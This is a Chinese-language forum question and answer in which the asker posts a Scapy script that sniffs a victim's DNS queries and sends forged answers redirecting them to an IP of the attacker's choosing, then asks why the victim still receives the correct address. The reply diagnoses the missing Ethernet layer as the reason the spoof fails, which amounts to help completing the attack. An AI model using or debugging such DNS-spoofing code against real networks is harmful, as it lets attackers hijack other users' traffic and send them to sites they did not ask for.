我正在尝试执行DNS欺骗,但似乎它不会影响受害者, 数据包在 Wireshark 上按其需要的方式显示,但仍然受害者获得了正确的 IP,而不是我想要的(facebook.com)
def dns_spoof(pkt):
redirect_to = '157.240.195.35' # facebook.com IP
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
pk = sniff(lfilter=filtering, prn=dns_spoof)# main
来自Wireshark的图片:(当受害者进入cool.com时尝试进行欺骗)
为什么不起作用?
好吧,请记住,您的数据包中没有以太层,虽然这似乎并不重要,但这是因为它使实际的 pkt 转到正确的服务器,例如 google 公共 dns 服务器,并导致它获取所提供的正确 IP通过真正的 DNS 服务器。